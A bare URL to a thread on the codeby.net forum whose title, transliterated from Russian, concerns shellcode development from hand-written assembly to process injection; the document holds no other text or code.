https://codeby.net/threads/razrabotka-shellkoda-ot-ruchnogo-napisaniya-na-assemblere-do-in-yektsii-v-protsess.92670/